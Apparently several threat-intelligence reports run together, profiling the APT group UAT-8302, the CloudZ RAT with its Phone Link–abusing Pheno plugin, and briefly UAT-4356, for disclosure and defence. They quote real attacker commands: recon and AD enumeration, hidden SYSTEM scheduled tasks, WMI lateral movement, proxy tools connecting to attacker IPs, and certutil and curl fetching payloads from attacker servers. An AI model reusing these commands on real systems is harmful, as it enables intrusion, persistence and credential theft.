• Cisco Talos is disclosing UAT-8302, a sophisticated, China-nexus advanced persistent threat (APT) group targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025.
• After successful compromises, UAT-8302 deploys multiple custom-made malware families that have previously been used by other known China-nexus threat actors.
• Talos discovered a .NET-based backdoor we track as “NetDraft” that is a C#-based variant of the FinalDraft/SquidDoor malware family developed and operated by Jewelbug/REF7707/CL-STA-0049/LongNosedGoblin, a cluster of China-nexus APT actors.
• Furthermore, UAT-8302 also uses an updated version of the CloudSorcerer backdoor, a malware family used in attacks against Russian government entities in 2024.
• UAT-8302 also used VSHELL and its SNOWLIGHT stager in their operations, along with a new Rust-based stager that we track as SNOWRUST.

Talos assesses with high confidence that UAT-8302 is a China-nexus advanced persistent threat (APT) group tasked primarily with obtaining and maintaining long-term access to government and related entities around the world.

Post-compromise activity consisted of information collection, credential extraction, and proliferation using open-source tooling such as Impacket, proxying tools, and custom-built malware.

Malware deployed by UAT-8302 connects it to several previously publicly disclosed threat clusters, indicating a close operating relationship between them at the very least. Overall, the various malicious artifacts deployed by UAT-8302 indicate that the group has access to tools used by other sophisticated APT actors, all of which have been assessed as China-nexus or Chinese-speaking by various third-party industry reports.

For instance, NetDraft, a .NET-based malware family deployed by UAT-8302 in South America, was also disclosed by ESET as NosyDoor, attributed to a China-nexus APT they track as LongNosedGoblin. ESET assesses that LongNosedGoblin used NosyDoor/NetDraft and other custom-made malware to target government organizations in Southeast Asia and Japan. Furthermore, as per Solar’s reporting, NetDraft was also deployed against Russian IT organizations in 2024 by Erudite Mogwai (LuckyStrike Agent).

NetDraft is likely a .NET-ported variant of the FinalDraft/SquidDoor malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049 — also another cluster of China-nexus APT actors.

Another malware family deployed by UAT-8302 is CloudSorcerer (version 3). Kaspersky disclosed that CloudSorcerer was used in attacks directed against Russian government entities in 2024.

Furthermore, two other malware families, SNAPPYBEE/DeedRAT and ZingDoor, were deployed by UAT-8302 in conjunction with each other, a tactic also highlighted by Trend Micro in 2024.

Talos’ analysis also connects more custom-made tooling that UAT-8302 used to other China-nexus or Chinese-speaking APTs:

• Draculoader: A generic shellcode loader deployed by UAT-8302, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere.
• SNOWLIGHT: A generic stager for the VSHELL malware family, used by UAT-8302. Also used by UAT-6382, who exploited a Cityworks zero-day (CVE-2025-0994) to deploy VSHELL. SNOWLIGHT has also been seen in intrusions attributed to other China-nexus APT clusters, such as UNC5174 and UNC6586.

The various connections between UAT-8302 and other China-nexus or Chinese-speaking threat actors can be visualized as:

Figure 1. UAT-8302's interconnections.

Initial compromise and reconnaissance

UAT-8302's tooling overlaps with various APT groups that have been known to exploit both zero-day and n-day exploits to obtain initial access. We assess that UAT-8302 follows the same paradigm of obtaining initial access to its victims.

Once initial access is obtained, UAT-8302 conducts preliminary reconnaissance using red-teaming tools such as Impacket:

Other reconnaissance commands may be:

ipconfig /all
certutil -user -store My
certutil -user -store CA
certutil -user -store Root
whoami
nslookup www[.]google[.]com
net use
cmd.exe /c net view /domain
cmd.exe /c systeminfo
cmd.exe /c net time /domain
cmd.exe /c nslookup -type=SRV _ldap._tcp
net group <name> /domain

 One of UAT-8302's primary goals is to proliferate within the compromised network, and therefore, the actor conducts extensive reconnaissance on every endpoint that they can access. This extended recon is scripted usually using a custom-made PowerShell script such as “whatpc.ps1”:

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Windows\Temp\whatpc.ps1

The script may be persisted to collect system information via a scheduled task:

cmd.exe /c schtasks /create /tn 'ReconLiteDebug' /tr 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File c:\windows\temp\whatpc.ps1' /sc ONCE /st 08:25 /ru SYSTEM /f

cmd.exe /c schtasks /create /tn 'RunWhatPC' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 23:28 /ru SYSTEM /f

This script executes the following commands on the systems to identify them:

whoami 
whoami.exe /groups
whoami.exe /priv
net.exe user
net.exe localgroup
net.exe localgroup administrators
ipconfig.exe /all
ARP.EXE -a
ROUTE.EXE print
NETSTAT.EXE -ano
cmd.exe /c net share
cmd.exe /c wmic startup get caption,command 2>&1
nltest.exe /dclist:<domain>
net.exe user /domain
net.exe group /domain
net.exe group Domain Admins /domain
nltest.exe /domain_trusts

UAT-8302 also performs ping sweeps of the network to discover more endpoints to proliferate into:

C:/Windows/Temp/ping_scan.bat
C:/Windows/Temp/run_scan.bat
C:/Windows/Temp/nbtscan.exe

cmd.exe /Q /c (for /l %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | find TTL= && echo 192.168.1.%i is alive) > C:\Windows\Temp\alive_hosts.txt

UAT-8302 also discovers SMB shares in the network to find reachable remote shares:

cmd.exe /Q /c (for /l %i in (1,1,254) do @net use \\192.168.1.%i\IPC$ >nul 2>&1 && echo 192.168.1.%i - Port 445 is open || echo 192.168.1.%i - Port 445 is closed) > C:\Windows\Temp\portscan.txt

Scanning tools

UAT-8302 may also download and run “gogo,” a GoLang based, open-sourced automated network scanning engine written in Simplified Chinese:

curl -fsSL hxxps://github[.]com/chainreactors/gogo/releases/download/v2.14.0/gogo_windows_amd64.exe -o go.exe

Additionally, UAT-8302 uses a variety of scanning tools such as QScan, naabu and dddd  PortQry and httpx to discover services in the network:

httpx.exe -sc -title -location -f -td -r 192.168.1.1/16
httpx.exe -sc -title -location -td -r 192.168.1.1/16 -o web.txt
httpx.exe -sc -title -location -td -u 192.168.1.1/16 -o web.txt

Information collection

UAT-8302 collects a variety of information about the environment that they are operating within including Active Directory (AD) information and credentials using open-sourced tooling such as:

adconnectdump.py

A Python-based tool for Azure AD Connect/Entra ID connect credential extraction:

python.exe adconnectdump.py

Manual extraction

UAT-8302 may also directly query the AD user and computer objects to obtain information from them via PowerShell:

powershell -command Get-ADUser -Filter * -Property * | Select-Object Name, Displayname, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, homeDirectory, scriptPath

powershell -command Get-ADUser -Filter * -Property * | Select-Object SamAccountName, DisplayName, Enabled, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, HomeDirectory, ScriptPath, @{Name='Groups';Expression={((Get-ADUser $.SamAccountName -Properties MemberOf).MemberOf | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; '}}

powershell -Command Get-ADComputer -Filter * -Property Name,DNSHostName,OperatingSystem,Description | Select-Object Name, DNSHostName, OperatingSystem, Description | Format-Table -AutoSize
powershell -Command Get-ADGroup -Filter * -Properties Members, Description | Select-Object Name, Description, @{Name='Members';Expression={ ($.Members | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; ' }}| Format-Table -AutoSize

Specific AD users of interest may also be queried using system tools such as dsmod and dsquery.

Log collection

UAT-8302 also collects event log information and the logs themselves on multiple endpoints. Logs are an excellent source of obtaining information and understanding security configurations and policies applied within a target’s environment:

powershell -Command Get-WinEvent -ListLog Security | Format-List LogName, FileSize, LogMode, MaximumSizeInBytes, RecordCount

powershell -command Get-EventLog -LogName System -Source NETLOGON -Newest 5000 | Where-Object { $_.Message -match "Administrator" }

powershell -Command chcp 437 >$null; Get-WinEvent -FilterHashtable @{ LogName = 'Security'; ID = 4768 } | Where-Object { \$_.Message -match 'Administrador' }

Audit policies are also queried extensively to obtain system logging configurations:

auditpol /get /category:Logon/Logoff

auditpol /get /category:*

UAT-8302 also collects AD snapshots using tools such as the AD Explorer tool:

ae.exe -snapshot c:\windows\temp\result.dat /accepteula

cmd.exe /C 7zr.exe a -mx=5 c:\windows\temp\r.7z c:\windows\temp\result.dat

UAT-8302 also uses a tool written in Simplified Chinese called “SharpGetUserLoginIPRP” — derived from another Chinese-language repository — which is used to extract login information from a domain controller:

C:\ProgramData\S.exe user:pass@IP -day

Proliferation through the network

UAT-8302 proliferates across various endpoints by using a combination of either Impacket- or WMI-based remote process creation:

cmd.exe /C wmic /node:IP process call create cmd.exe /c c:\programdata\e1.bat

cmd.exe /C schtasks /S IP /U username /P passwd /create /tn 'Runbat' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 5:12 /ru SYSTEM /f

These BAT files are meant to execute the accompanying malware on the target systems.

Furthermore, UAT-8302 may also extract login credentials from MobaxXterm, a multi-functional and tabbed SSH client, using tools such as MobaXtermDecryptor to pivot to other endpoints.

Custom-made malware deployment

UAT-8302 deploys a variety of malware families in their intrusions including NetDraft, CloudSorcerer version 3, and VSHELL.

NetDraft

NetDraft, also known as  NosyDoor, is a .NET variant of the FINALDRAFT malware. FINALDRAFT or Squidoor is a malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049, a cluster of China-nexus APT actors. FINALDRAFT uses legitimate services such as MS Graph to act as command-and-control servers (C2s) to execute commands and payloads on the compromised system. Similarly, NetDraft relies on the MS Graph API to communicate with its OneDrive based C2. NetDraft is deployed using the following mechanism:

• A benign executable is used to side load a malicious dynamic-link library (DLL) based loader.
• The loader DLL decodes NetDraft from an accompanying data file and invokes it in the context of the existing process.
• NetDraft also contains an embedded, .NET-based helper library. The library is compressed and embedded using the Fody/Costura framework. During runtime, the library is decompressed and instrumented to carry out operations on the endpoint on behalf of NetDraft. We track this library as “FringePorch.”

Figure 2. NetDraft and FringePorch infection chain.

NetDraft and FringePorch support the following functionalities:

• Execute arbitrary commands on the endpoint
• Execute a .NET based assembly sent by the C2 within NetDraft’s process context
• Exit and stop execution
• Upload files to C2
• Download files from specified remote locations to local disks
• File management: Change current working directory, rename files, enumerate files, and set write times
• Sleep
• Execute a .NET plugin: This functionality is similar to its ability to run arbitrary .NET based assemblies. Here, the implant runs a provided plugin’s “Plugin.Run” function.

Since NetDraft is missing the capability to persist across reboots and relogins, one of the first commands the C2 issues to it is the creation of a malicious scheduled task:

schtasks /create /ru system /tn Microsoft\Windows\Maps\{a086ff1e-d6dc-45f7-b3e4-6udknw82sa} /sc hourly /mo 2 /tr 'C:\ProgramData\Microsoft\Microsoft\Appunion.exe' /F

CloudSorcerer v3

Another malware UAT-8302 deploys is the latest version of the CloudSorcerer backdoor (version 3).  The malware consists of the side-loading triad of files: a benign executable, a malicious DLL-based loader, and the actual implant in a data file:

Yandex.exe -r -p:test.ini -s:12

VMtools.exe -r -p:VM.ini -s:12

The executables will sideload a DLL named “mspdb60[.]dll”, which will load and decrypt the “.ini” file specified in the command line — such as “test.ini” or “vm.ini”. The decrypted shellcode is then injected into a combination of specified benign processes.

CloudSorcerer v3 – The decrypted shellcode

The decrypted INI file is a newer version of CloudSorcerer (v3) disclosed by Kaspersky in 2024. Depending on process name (where it may have been initiated or injected), CloudSorcerer v3 will perform one of the following actions:

• If the process is named “dpapimig.exe”, then it will gather system information, inject itself into explorer.exe, and receive command codes from the C2 via a named pipe, gather disk information, enumerate files, execute arbitrary commands, perform file operations (delete, rename, read, write, etc.) and execute shellcode received via the named pipe.
• If the process is named “spoolsv.exe”, then it will contact GitHub to obtain C2 information and receive commands from the C2.
• If the process is named “mspaint.exe”, “browser”, or anything else, it will proceed to inject itself into dpapimg.exe, spoolsv.exe, etc. to kick off its malicious operations.

The system information CloudSorcerer v3 collects includes computer name, username and local system time.

Obtaining C2 information

Like CloudSorcerer v2, version 3 contacts a legitimate service to obtain the C2 information. The malware will either contact a specific GitHub repository to read a data blob, or read a GameSpot profile the threat actors set up.

The data blob is decoded to obtain the C2 information, which can exist in the one of the following formats depending on the variant of the CloudSorcerer backdoor:

• A C2 URL for a domain or IP, controlled by UAT-8302, that the malware uses to begin communication with the C2 to carry out malicious operations
• An access token to a legitimate service (such as OneDrive or Dropbox) that UAT-8302 uses to act as its C2 infrastructure to obtain next-stage payloads and commands

VSHELL, SNOWLIGHT and SNOWRUST

In other instances, UAT-8302 deploys the VSHELL malware via a slightly different triad of artifacts for side-loading malware. The benign executable side-loads a malicious DLL named “wininet[.]dll” that reads a BIN file and injects it into “explorer[.]exe”.

The payload is position-independent shellcode that is injected into explorer[.]exe. The payload is a stager for the VSHELL malware that downloads and single-byte XORs the obtained payload with the key 0x99. The decoded payload is a garbled version of VSHELL.

It is worth noting that Talos observed the same single byte key and stager being used by UAT-6382 to deliver VSHELL malware in early 2025. Further investigation revealed that this stager is in fact SNOWLIGHT, a lightweight downloader that can download and deploy a next stage payload. UNC5174 has been observed using SNOWLIGHT to download Sliver and VSHELL. UNC5174 is a suspected China-nexus threat actor that typically exploits zero-day and n-day vulnerabilities to gain access to critical infrastructure organizations in the Americas.

Talos discovered that UAT-8302 also used a Rust based variant of SNOWLIGHT that we track as “SNOWRUST.” SNOWRUST is based on the LexiCrypt Rust-based shellcode obfuscator. SNOWRUST simply decodes the embedded SNOWLIGHT shellcode and executes it to download the XOR encoded final payload, VSHELL, received from the C2.

In one intrusion, UAT-8302 used VSHELL to deploy a native driver from the Hades HIDS/HIPS software — an open-source Windows host monitoring kernel framework written in Simplified Chinese. The driver was specifically the System Monitoring filter driver that lets Hades register callbacks for process, thread, registry, and file events. This allows the driver to monitor the system and potentially allow, block, or hide events and artifacts.

The SNAPPYBEE/DeedRAT and ZingDoor combo

In one instance, UAT-8302 first deployed a RAT family known as DeedRAT/SNAPPYBEE. However, UAT-8302 almost immediately switched over to a DLL-based malware family known as ZingDoor, first disclosed by Trend Micro in 2023, which has attributed both DeedRAT and ZingDoor to the China-nexus threat actor Earth Estries.

ZingDoor has also been deployed after the successful exploitation of ToolShell in 2025 by China-nexus threat actors.

In parallel, UAT-8302 also deployed Draculoader, a generic shellcode loader, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere:

C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\d3d8.dll

Setting up additional means of backdoor access

Once UAT-8302 deploys their custom-made malware, they begin establishing other means of backdoor access. One of the techniques used is setting up proxy servers on infected systems to tunnel traffic outside the enterprise to the infected hosts using tools such as Stowaway (another tool written in Simplified Chinese):

c:\windows\system32\wagent.exe -c 85[.]209[.]156[.]3:56456
  
cmd.exe /c (echo @echo off && start c:\windows\temp\mmc.exe -l 85[.]209[.]156[.]3:56456 -s <pass> && echo exit) > c:\windows\temp\trun.bat
  
ag531.exe -c 45[.]135[.]135[.]100:443 -s <blah> -f AgreedUponByAllParties

UAT-8302 may use other tools such as anyproxy to set up proxies within the infected enterprise’s network:

c:\users\public\any.exe

Furthermore, we observed UAT-8302 deploying the SoftEther VPN clients as well:

certutil -urlcache -split -f hxxp://38[.]54[.]32[.]244/Rar.exe rar.exe
  
rar.exe x glb.rar
  
Communicator.exe /usermode

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Loader.CloudSorcerer-10059633-0
• Win.Loader.CloudSorcerer-10059634-0
• Win.Malware.CloudSorcerer-10059635-0
• Win.Tool.dddd-10059636-2
• Win.Tool.dddd-10059637-0
• Win.Loader.Donut-10059638-0
• Win.Loader.Draculoader-10059639-0
• Win.Tool.gogo-10059640-0
• Win.Tool.gogo-10059641-0
• Ps1.Tool.Microburst-10059642-0
• Win.Tool.Mobaxtermdecryptor-10059643-0
• Win.Malware.Netdraft-10059644-0
• Win.Malware.Netdraft-10059645-0
• Win.Malware.Netdraft-10059646-0
• Win.Malware.Netdraft-10059647-0
• Win.Malware.Snappybee-10059648-0
• Win.Malware.Snappybee-10059649-0
• Win.Malware.Snappybee-10059650-0
• Win.Malware.Snappybee-10059651-0
• Win.Malware.Snappybee-10059652-0
• Win.Malware.Snappybee-10059653-0
• Win.Malware.Snowrust-10059654-0
• Win.Malware.Agent-10059655-0
• Win.Malware.Stowaway-10059656-0
• Win.Malware.Stowaway-10059657-0
• Win.Loader.Agent-10059658-0
• Win.Malware.Agent-10059659-0
• Win.Malware.Agent-10059660-0
• Win.Loader.Agent-10059661-1
• Win.Malware.Agent-10059662-0

The following Snort Rules (SIDs) detect and block this threat:

• 66055, 66054, 301437, 301436, 301435, 301434, 301433, 301432, 301431
• 66052, 66053, 66050, 66051, 66048, 66049, 66046, 66047, 66044, 66045, 66042, 66043, 66040, 66041

Indicators of compromise (IOCs)

IOCs for this threat are also available on our GitHub repository here.

NetDraft, FringePorch

1139b39d3cc151ddd3d574617cf113608127850197e9695fef0b6d78df82d6ca
Ee56c49f42522637f401d15ac2a2b6f3423bfb2d5d37d071f0172ce9dc688d4b
51f0cf80a56f322892eed3b9f5ecae45f1431323600edbaea5cd1f28b437f6f2

 VSHELL

35b2a5260b21ddb145486771ec2b1e4dc1f5b7f2275309e139e4abc1da0c614b
199bd156c81b2ef4fb259467a20eacaa9d861eeb2002f1570727c2f9ff1d5dab

 ZingDoor

071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6

 Gogo

E74098b17d5d95e0014cf9c7f41f2a4e4be8baefc2b0eb42d39ae05a95b08ea5
2b627f6afe1364a7d0d832ccba87ef33a8a39f30a70a5f395e2a3cb0e2161cb3

 Stowaway

7c593ca40725765a0747cc3100b43a29b88ad1708ef77e915ab02686c0153001
F859a67ceebc52f0770a222b85a5002195089ee442eac4bea761c29be994e2ea

 anyproxy

7d9c70fc36143eb33583c30430dcb40cf9d306067594cc30ffd113063acd6292

  QScan

1bb59491f7289b94ab0130d7065d74d2459a802a7550ebf8cd0828f0a09c4d38

 Draculoader

843f8aea7842126e906cadbad8d81fa456c184fb5372c6946978a4fe115edb1c

 Dddd

343105919aa6df8a75ecb8b06b74f23a7d3e221fca56c67b728c50ea141314bc

 Httpx

4109f15056414f25140c7027092953264944664480dd53f086acb8e07d9fccab

 SoftEther VPN

3dec6703b2cbc6157eb67e80061d27f9190c8301c9dd60eb0be1e8b096482d7e

 SharpGetUserLogin

9f115e9b32111e4dc29343a2671ab10a2b38448657b24107766dc14ce528fceb
B19bfca2fc3fdabf0d0551c2e66be895e49f92aedac56654b1b0f51ec66e7404

 Naabu

45cd169bf9cd7298d972425ad0d4e98512f29de4560a155101ab7427e4f4123f

 PortQry

Fb6cebadd49d202c8c7b5cdd641bd16aac8258429e8face365a94bd32e253b00

  

Network IOCs

hxxps[://]www[.]drivelivelime[.]com
hxxps[://]www[.]drivelivelime[.]com/x
hxxps[://]www[.]drivelivelime[.]com/pw
www[.]drivelivelime[.]com
 
hxxps[://]msiidentity[.]com
hxxps[://]msiidentity[.]com/pw
msiidentity[.]com
 
hxxp[://]trafficmanagerupdate[.]com/index[.]php
trafficmanagerupdate[.]com
 
image[.]update-kaspersky[.]workers[.]dev
update-kaspersky[.]workers[.]dev
 
85[.]209[.]156[.]3
85[.]209[.]156[.]3:56456
85[.]209[.]156[.]3:46389
hxxp[://]85[.]209[.]156[.]3:8080/wagent[.]exe
hxxp[://]85[.]209[.]156[.]3:8082/wagent[.]exe
 
 
185[.]238[.]189[.]41
hxxp[://]185[.]238[.]189[.]41:8080          
 
103[.]27[.]108[.]55
hxxp[://]103[.]27[.]108[.]55:48265/
 
hxxp[://]38[.]54[.]32[.]244/Rar[.]exe
38[.]54[.]32[.]244
 
45[.]140[.]168[.]62
88[.]151[.]195[.]133
156[.]238[.]224[.]82
45[.]135[.]135[.]100

• Cisco Talos discovered an intrusion, active since at least January 2026, where an unknown attacker implanted a CloudZ remote access tool (RAT) and a previously undocumented plugin called “Pheno.”
• According to the functionalities of the CloudZ RAT and Pheno plugin, this was with the intention of stealing victims’ credentials and potentially one-time passwords (OTPs). 
• CloudZ utilizes the custom Pheno plugin to hijack the established PC-to-phone bridge by abusing the Microsoft Phone Link application, allowing the plugin to continuously scan for active Phone Link processes and potentially intercept sensitive mobile data like SMS and OTPs without deploying malware on the phone. 
• CloudZ evades detection by executing critical malicious functions dynamically in system memory and performing checks to avoid debuggers and sandbox environments. 

Attacker abuses the Windows Phone Link application 

Windows Phone Link (formerly "Your Phone") is a synchronization tool developed by Microsoft and built directly into Windows 10 and 11 that bridges a PC and a smartphone (Android or iPhone). By establishing a secure connection via Wi-Fi and Bluetooth, the application mirrors essential phone activities (such as application notifications and SMS messages) onto the computer screen, reducing the user’s need to physically interact with the mobile device while working on the computer. The Phone Link application writes synchronized phone data such as SMS messages, call logs, and the application notification history to the Windows PC in the application’s SQLite database file. 

Talos observed that during an intrusion, an attacker attempted to abuse the Windows Phone Link application using the CloudZ RAT and its Pheno plugin. The Pheno plugin is designed to monitor an active PC-to-phone bridge established by the Phone Link application on the victim machine. With a confirmed Phone Link activity on the victim's machine, the attacker using the CloudZ RAT can potentially intercept the Phone Link application’s SQLite database file (e.g., “PhoneExperiences-*.db”) on the victim machine, potentially compromising SMS-based OTP messages and other authenticator application notification messages. 

Intrusion summary of CloudZ infection 

Talos discovered from telemetry data that the intrusion had begun with an unknown initial access vector to the victim's environment, which led to the execution of a fake ScreenConnect application update executable. This malicious executable drop and executes an intermediate .NET loader executable, which subsequently deploys the modular CloudZ on the victim’s machine. Upon execution, the RAT decrypts its configuration data, establishes an encrypted socket connection to the command-and-control (C2) server, and enters its command dispatcher mode.   

CloudZ facilitates the C2 commands to exfiltrate credentials from the victim machine browser data, and it downloads and implants a plugin. The plugin performs reconnaissance of the Microsoft Phone Link application on the victim machine and writes the reconnaissance data to an output file in a staging folder. CloudZ reads back the Phone Link application data from the staging folder and sends it to the C2 server. 

Rust-compiled executable used as a dropper 

Talos discovered a Rust-compiled 64-bit executable, disguised with file names such as “systemupdates.exe” or “Windows-interactive-update.exe”, functioning as a loader. The malicious loader was compiled on Jan. 1, 2026, and has the developer string of rustextractor.pdb. 

When the loader is run on the victim machine, it decrypts and drops an embedded .NET loader binary disguised as a text file with the file names “update.txt” or “msupdate.txt” in the folder “C:\ProgramData\Microsoft\windosDoc\”. 

In another instance, Talos observed that the .NET loader was implanted in the victim machine by downloading it from an attacker-controlled staging server using the command shown below:  

curl -L -o C:\ProgramData\Microsoft\WindowsDoc\update[.]txt hxxps[://]calm-wildflower-1349[.]hellohiall[.]workers[.]dev

The dropper executes an embedded PowerShell script to establish persistence on the victim machine through a Windows task which executes the dropped malicious .NET loader. The PowerShell script achieves it by initially performing a runtime check to determine whether the dropped .NET loader is already active on the system. It queries all running processes using the Get-CimInstance Win32_Process command and filters for any instance of regasm.exe with the command line parameters that include the string update.txt. If such an instance is found, the script silently exits without taking any action. 

If the check indicates that the .NET loader is not running, the script proceeds to establish persistence by creating a scheduled task named SystemWindowsApis in the scheduled task folder \Microsoft\Windows\. It configures the task to trigger at system startup /sc onstart, execute under the SYSTEM account /ru SYSTEM with the highest privilege level /rl HIGHEST, and the /f flag ensures it will silently overwrite any existing task with the same name, allowing the malware to update its persistence mechanism. The script configures the task scheduler action to run the .NET loader by utilizing the living-off-the-land binary (LOLBin) regasm.exe, which is the .NET Framework Assembly Registration Utility located at “C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\”. It provides the path of the dropped .NET loader as the argument to regasm.exe with the /nologo flag. After creating the task, the script immediately triggers it with schtasks /run, ensuring it executes immediately and survives future reboots. 

.NET loader implants the CloudZ RAT 

Talos found that the attacker embedded CloudZ, an encrypted .NET-compiled RAT, in the .NET loader executable. 

When the .NET loader is triggered through the Windows task scheduler, it performs the detection evasion checks beginning with a timing-based evasion check, where it calculates the actual elapsed time of a sleep command to detect if it is executed in the analysis environment. It then performs enumeration of running processes in the victim machine against a list of security tools, including network sniffers like Wireshark and Fiddler, as well as system monitors like Procmon and Sysmon. The .NET loader exits the execution if these are detected in the victim environment. 

The loader then conducts hardware and environment checks to identify virtual machine (VM) or sandbox characteristics. It verifies that the system has at least two processor cores and searches for strings like “VIRTUAL” or “SANDBOX” within the system directory path, computer name, user domain, and the current victim username.  

The loader executable is embedded with multiple chunks of the hexadecimal strings in the binary, which are concatenated sequentially during the execution, reassembling a massive hexadecimal data blob. The loader converts the hexadecimal strings to bytes and performs bytewise XOR decryption using the key hexadecimal (0xCA). If the decrypted payload is a .NET assembly, the loader will reflectively run. Otherwise, it writes the decrypted payload to the folder “%TEMP%\{GUID}” and runs it as a process.  

Modular CloudZ RAT delivered as payload 

Talos discovered that a CloudZ, a modular RAT, is delivered as the payload in the current intrusion. CloudZ is a .NET executable compiled on Jan. 13, 2026, and is obfuscated with ConfuserEx obfuscation.  

CloudZ employs layers of defense against the analysis environments and reverse engineering. It queries the _ENABLE_PROFILING environment variable via GetEnvironmentVariable Windows API to detect whether a .NET profiler or debugger is attached to the RAT process on the victim machine. It uses the .NET method “System.Reflection.Emit.DynamicMethod” combined with “ILGenerator” method to create the executable functions dynamically during the RAT execution. 

The operation of CloudZ utilizes its configuration data, which is embedded in the binary, as a resource that it decrypts and loads into memory during execution. The decrypted configuration data includes various C2 commands, PowerShell scripts for data archive extraction, multiple file download methods, paths and names of staging folders, multiple HTTP headers, and the URLs of the staging servers. 

After the decryption of the configuration data, CloudZ decodes the Base64-encoded strings to get the URL of the staging server where the secondary configuration is stored.  

Talos found that the RAT downloads and processes secondary configuration data through the URLs “hxxps[://]round-cherry-4418[.]hellohiall[.]workers[.]dev/?t=1773406370” or "https[://]pastebin[.]com/raw/8pYAgF0Z?t=1771833517" and extracts the C2 server IP address “185[.]196[.]10[.]136” and port number 8089, establishing connections through TCP sockets. 

Pivoting on the Pastebin URL indicator, we found that the attacker used the Pastebin handler name “HELLOHIALL” and hosted the secondary configuration data at several Pastebin URLs.  

The RAT rotates between three hardcoded user-agent strings to blend its HTTP traffic with the legitimate browser requests of the victim machine. Every HTTP request includes anti-caching headers consisting of “Cache-Control: no-cache, no-store, must-revalidate", “Pragma: no-cache", and “Expires: 0”, which prevents intermediate proxies and CDN infrastructure from caching C2 or the staging server details.  

User-agent headers used by the CloudZ are: 

• Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
• Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 

After the RAT establishes the C2 connection, it enters the command dispatcher module that relies on a decrypted configuration data loaded into memory. The configuration data contains Base64-encoded command identifiers which the RAT matches against the commands received from the C2 server to perform the several functionalities. The commands facilitated by CloudZ are shown in the table below: 

Base64-encoded command	Decoded command	Purpose
cG9uZw==	pong	Heartbeat response
UElORyE=	PING!	Heartbeat request
Q0xPU0U=	CLOSE	Terminate RAT process
SU5GTw==	INFO	collects OS edition, architecture, and hardware details from the victim machine
UnVuU2hlbGw=	RunShell	Execute shell command
QnJvd3NlclNlYXJjaA==	BrowserSearch	Browser data exfiltration
R2V0V2lkZ2V0TG9n	GetWidgetLog	Phone Link recon logs and data exfiltration
cGx1Z2lu	plugin	Load plugin
c2F2ZVBsdWdpbg==	savePlugin	Save plugin to disk at the staging directory C:\ProgramData\Microsoft\whealth\
c2VuZFBsdWdpbg==	sendPlugin	Upload Plugin to C2
UmVtb3ZlUGx1Z2lucw==	RemovePlugins	Remove all deployed plugin modules
UmVjb3Zlcnk=	Recovery	Recovery or reconnect routine
RFc=	DW	Download and write file operations
Rk0=	FM	File management operations – deletefile
TE4=	LN	Unknown
TXNn	Msg	Send message to C2
RXJyb3I=	Error	Error reporting back to C2
cmVj	rec	Screen recording

The RAT employs various methods to download and execute the plugins. The plugin download feature of RAT uses a three-method fallback approach. It first checks for the presence of the curl utility. If found, it attempts to download the file from a specified URL to a target path while following redirects. If curl is missing or the command fails, it falls back to PowerShell, where it first tries to download the file using the Invoke-WebRequest command. If that method also fails, it executes a final method that uses the LOLBin“bitsadmin” tool to download and save the plugin payloads to the victim machine.  

Talos observed from the telemetry data that the attacker has downloaded and implanted the Pheno plugin through the curl command from the staging server. 

curl -L -o C:\Windows\TEMP\pheno.exe hxxps[://]orange-cell-1353[.]hellohiall[.]workers[.]dev/pheno.exe

Pheno plugin to perform the Phone Link application recon 

In this intrusion, Talos observed that the attacker used a plugin called Pheno to perform reconnaissance of the Windows Phone Link application in the victim machine.  

Pheno is designed to detect if a user is currently syncing their mobile device to a Windows machine through the Phone Link application. It scans all running processes for specific keywords such as "YourPhone," "PhoneExperienceHost," or "Link to Windows," and if matches are found, it logs their Process IDs and file paths to the files with the filename “phonelink-<COMPUTERNAME>.txt”, created in two staging folders such as : 

•  C:\programdata\Microsoft\feedback\cm 
•  %TEMP%\Microsoft\feedback\cm 

After checking Phone Link processes and writing its results, Pheno executes a secondary check that reads back the contents of previously written files and searches the keyword "proxy" in a case-insensitive manner. The plugin conducts this check because the Microsoft Phone Link application creates a local proxy connection to relay traffic between the PC and the paired mobile device. The presence of "proxy" in the output files, whether generated by a previous execution of the pheno plugin, indicates that the Phone Link session is actively routing traffic through its relay channel.  

When the keyword is detected, the pheno plugin writes "Maybe connected" to its output file in the staging folders, which eventually allows the attacker, with the help of CloudZ RAT, to potentially monitor SMS or OTP requests that appear on the Phone Link application. 

Coverage

The following ClamAV signature detects and blocks this threat: 

• Win.Packed.Msilheracles-10030690-0 
• Win.Trojan.CloudZRAT-10059935-0 
• Win.Trojan.CloudZRAT-10059959-0 

The following Snort Rules (SIDs) detect and block this threat: 

• Snort 2: 66409, 66410, 66408 
• Snort 3: 301492, 66408 

Indicators of compromise (IOCs) 

The IOCs for this threat are available at our GitHub repository here.

Cisco Talos is aware of UAT-4356's continued active targeting of Cisco Firepower devices’ Firepower eXtensible Operating System (FXOS). UAT-4356 exploited n-day vulnerabilities (CVE-2025-20333 and CVE-2025-20362) to gain unauthorized access to vulnerable devices, where the threat actor deployed their custom-built backdoor dubbed “FIRESTARTER.” FIRESTARTER considerably overlaps with the technical capabilities of RayInitiator’s Stage 3 shellcode that processes incoming XML-based payloads to endpoint APIs.

